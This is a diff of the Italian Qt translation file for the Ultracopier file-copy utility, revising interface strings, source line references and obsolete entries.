- <translation>Fonte</translation>
+ <translation>Cartella di origine</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation>Dimensione</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
- <translation>Destinazione</translation>
+ <translation>Cartella di destinazione</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
- <translation>Smettere</translation>
+ <translation>Esci</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation>Obiettivo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation>Tempo residuo:</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation>Elenco</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation>Copiatura</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
- <translation>Elenco e copia</translation>
+ <translation>Elenca e copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
- <translation>Chiedere</translation>
+ <translation>Chiedi</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation>Sovrascrivi</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation>Sovrascrivi se più recente</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
- <translation>Sovrascrivi se le date di modifica ultimi sono diversi</translation>
+ <translation>Sovrascrivi se sono diverse le date dell&apos;ultima modifica</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
- <translation>Rinominare</translation>
+ <translation>Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation>Metti in coda alla lista</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation>Completato in %1</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Put to end of the list</source>
- <translation>Messo alla fine della lista</translation>
+ <translation type="obsolete">Metti in coda alla lista</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
- <translation>Selezionare la directory di origine</translation>
+ <translation>Selezionare la cartella di origine</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
- <translation>Selezionare la directory di destinazione</translation>
+ <translation>Selezionare la cartella di destinazione</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation>Errore interno</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation>Selezionare uno o più file da aprire</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation>Tutti i file</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
- <translation>Salva lista dei trasferimenti</translation>
+ <translation>Salvare la lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation>Aprire lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
- <translation>Transfer list</translation>
+ <translation>Lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation>Errore</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation>Non supportato su questa piattaforma</translation>
</message>
@@ -412,104 +517,195 @@
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>Informazioni su UltraCopier</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation>Informazioni su Ultracopier</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>Sulla base Qt. Fornisce copiatrice avanzata con più funzionalità avanzate. E &apos;sotto GPL3.
-Questa versione è compilato come versione: %1.</translation>
+ <translatorcomment>%1 sarà rimpiazzata da una variabile content (normale, debug, ...)</translatorcomment>
+ <translation>Utility avanzata sotto licenza GPL3 per la copia dei file basata su Qt.
+Compilata come versione: %1.</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
+ <translatorcomment>%1 sarà rimpiazzata dalla piattaforma (Windows, Mac, Linux, ...)</translatorcomment>
<translation>Piattaforma: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
- <translation>A proposito di Qt</translation>
+ <translation>Informazioni su Qt</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
- <translation>Fare un incidente</translation>
+ <translation>Si è verificato un crash</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation>Salva il bug</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>Chiudi</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation>Info su Supercopier</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
- <translation>Per http://portableapps.com/</translation>
+ <translation>Su http://portableapps.com/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation>Versione portatile e pluricomprensiva</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>Versione portatile</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation>Versione pluricomprensiva</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>Versione normale</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
- <translation>http://ultracopier.first-world.info/</translation>
+ <translatorcomment>Questo dovrebbe essere il sito ufficiale di Ultracopier in italiano</translatorcomment>
+ <translation>http://ultracopier-it.first-world.info/</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier.first-world.info/download.html</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
+ <translatorcomment>%1 sarà rimpiazzato dal sito italiano</translatorcomment>
<translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Per ulteriori informazioni consultare il sito &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
</message>
</context>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
- <translation>Avvertimento</translation>
+ <translation>Avviso</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
- <translation>Timeout durante la ricomposizione dei dati dai client collegati</translation>
+ <translation>Tempo scaduto durante la ricomposizione dei dati dai client collegati</translation>
</message>
</context>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>Errore</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
- <translation>Log file già aperto, errore: %1</translation>
+ <translation>File log già aperto, errore: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation>Impossibile aprire il file di log, errore: %1</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
<source>Unable to open file to keep the log file, error: %1</source>
- <translation>Impossibile aprire il file per mantenere il file di log, l&apos;errore: %1</translation>
+ <translation type="obsolete">Impossibile aprire il file che contiene il log, errore: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation>Avviso</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation>Non visualizzare più questo messaggio</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation>Ok</translation>
+ </message>
+ <message>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="obsolete">Il ripristino del sistema predefinito di copia/spostamento non è supportato dal file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Chiedere supporto allo sviluppatore.&lt;br /&gt;Bisogna fare la copia/spostamento manuale.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Il ripristino del sistema predefinito di copia/spostamento non è supportato dal file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Chiedere supporto allo sviluppatore.&lt;br /&gt;Bisogna fare la copia/spostamento manuale.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation>Riavviare il sistema, se in precedenza avevi installato un software simile a questo (come Teracopy, Supercopier o una versione precedente di Ultracopier).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation>Il ripristino del sistema predefinito di copia/spostamento non è supportato, quindi viene bloccato dal finder of Mac OS X.&lt;br /&gt;Chiedere supporto allo sviluppatore.&lt;br /&gt;Sarà possibile la copia/spostamento manuale cliccando col tasto destro del mouse sull&apos;icona della barra di sistema vicina all&apos;orologio (non l&apos;icona dock).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Il ripristino del sistema predefinito di copia/spostamento potrebbe non essere supportato dal file manager.&lt;br /&gt;Chiedere supporto allo sviluppatore.&lt;br /&gt;Bisogna fare la copia/spostamento manuale.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation>Considera Supercopier obsoleto, preferisco Ultracopier</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation>Questa versione utilizza il 100% della tua scheda grafica/GPU (il computer può essere rumoroso, o lento durante i giochi) in cambio del libero accesso alla versione Ultimate. Se non lo desideri, scarica la versione normale con un piccolo annuncio (solo un link sulla finestra principale) o acquista la versione Ultimate per finanziare il progetto.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier.first-world.info/download.html</translation>
</message>
</context>
<context>
@@ -528,262 +724,382 @@ Questa versione è compilato come versione: %1.</translation>
<message>
<location filename="../../../OptionDialog.ui" line="61"/>
<source>Plugins</source>
- <translation>Plugins</translation>
+ <translation>I plug-in</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
- <translation>Copia del programma</translation>
+ <translation>Motore per la copia</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>Temi</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation>Log</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>Linguaggio:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>Detezione automatica della lingua:</translation>
+ <source>Load at the session loading:</source>
+ <translation type="obsolete">Carica il programma all&apos;avvio:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>Metter il copia/muovi standard:</translation>
+ <source>Display the OS warning:</source>
+ <translation type="obsolete">Mostra l&apos;avviso del Sistema Operativo:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation>Caricato al caricamento della sessione:</translation>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation>Controlla aggiornamenti automaticamente</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>Nome</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>Versione</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
- <translation>Linguaggio</translation>
+ <translation>Lingua</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
- <translation>Ascoltatore</translation>
+ <translation>Rilevatore</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
- <translation>Plugin caricati</translation>
+ <translation>Caricatore di plug-in</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
- <translation>Sessione caricata</translation>
+ <translation>Caricatore di sessione</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation>Utilizza la lingua</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation>Ripristina il sistema di copia e spostamento predefinito</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation>Carica il programma all&apos;avvio di sistema</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation>Se avviato manualmente</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation>Quando raggruppare le finestre</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation>Conferma il raggruppamento delle finestre</translation>
+ </message>
+ <message>
+ <source>Check the update</source>
+ <translation type="obsolete">Controllare aggiornamenti</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation>Mostra l&apos;avviso del Sistema Operativo</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation>Dai tempo alla GPU per sostenere lo sviluppo</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
- <translation>Plugin</translation>
+ <translation>Plug-in</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
- <translation>Aggiungere</translation>
+ <translation>Aggiungi</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
- <translation>Rimuovere</translation>
+ <translation>Elimina</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>Informazioni</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
- <translation>Copiare il programma nel ordine preferita:</translation>
+ <translation>Motore per la copia in ordine di preferenza:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation>Client connessi</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation>Temi:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
- <translation>Attivare per caricare i temi dei plugin</translation>
+ <translation>Impossibile caricare il plug-in dei temi</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
- <translation>Non ci sono opzioni per questo plugin</translation>
+ <translation>Non ci sono opzioni per questo plug-in</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
- <translation>Esplora</translation>
+ <translation>Sfoglia</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation>Scrivere i trasferimenti</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation>Scrivere le operazioni di cartella</translation>
+ </message>
+ <message>
+ <source>Write directly the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="obsolete">Scrivere direttamente il file quando si riceve una nuova voce (può causare il 50% di perdita di prestazioni)</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <translatorcomment>%time%, %source%, %size%, %destination% non dovranno essere tradotti</translatorcomment>
<translation>Le variabili sono %time%, %source%, %size%, %destination%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation>Scrivere gli errori</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <translatorcomment>%time%, %path%, %size%, %mtime%, %error% non dovranno essere tradotti</translatorcomment>
<translation>Le variabili sono %time%, %path%, %size%, %mtime%, %error%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation>Scrivere il file di log in:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
+ <source>Force the language:</source>
+ <translation type="obsolete">Utilizzare la lingua:</translation>
+ </message>
+ <message>
+ <source>Replace the default copy and move system:</source>
+ <translation type="obsolete">Ripristina il sistema di copia e spostamento predefinito:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation>Scrivere direttamente il file quando si riceve una nuova voce (può causare il 50% di perdita di prestazioni)</translation>
+ </message>
+ <message>
<source>Write the transfers:</source>
- <translation>Scrivi i trasferimenti:</translation>
+ <translation type="obsolete">Scrivere i trasferimenti:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
<source>Write the errors:</source>
- <translation>Scrivi gli errori:</translation>
+ <translation type="obsolete">Scrivere gli errori:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
<source>Write the folder operations:</source>
- <translation>Scrivi le operazioni di cartelle:</translation>
+ <translation type="obsolete">Scrivere le operazioni di cartella:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation>Carica</translation>
+ </message>
+ <message>
+ <source>Load the themes?</source>
+ <translation type="obsolete">Caricare i temi?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation>Caricare i temi?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation>Caricare questa lingua?</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
<source>Disabled because you have any SessionLoader plugin</source>
- <translation>Disabilitato perchè non c&apos;è nessun SessionLoader plugin</translation>
+ <translation type="obsolete">Disattivato perché non c&apos;è nessun plug-in SessionLoader</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <source>Disabled because you do not have any SessionLoader plugin</source>
+ <translation type="obsolete">Disattivato perché non si dispone di alcun plug-in SessionLoader</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation>Non fare nulla</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
- <translation>Chiedi come cartella sorgente</translation>
+ <translation>Chiedere la cartella di origine</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
- <translation>Chiedi fonti come file</translation>
+ <translation>Chiedere i file di origine</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation>Mai</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
- <translation>Quando sorgente è uguale</translation>
+ <translation>Quando la cartella di origine è uguale</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
- <translation>Quando destinazione è uguale</translation>
+ <translation>Quando la cartella di destinazione è uguale</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
- <translation>Quando origine e di destinazione sono le stesse</translation>
+ <translation>Quando sia le cartelle di origine che di destinazione sono uguali</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
- <translation>Quando la fonte o la destinazione sono gli stessi</translation>
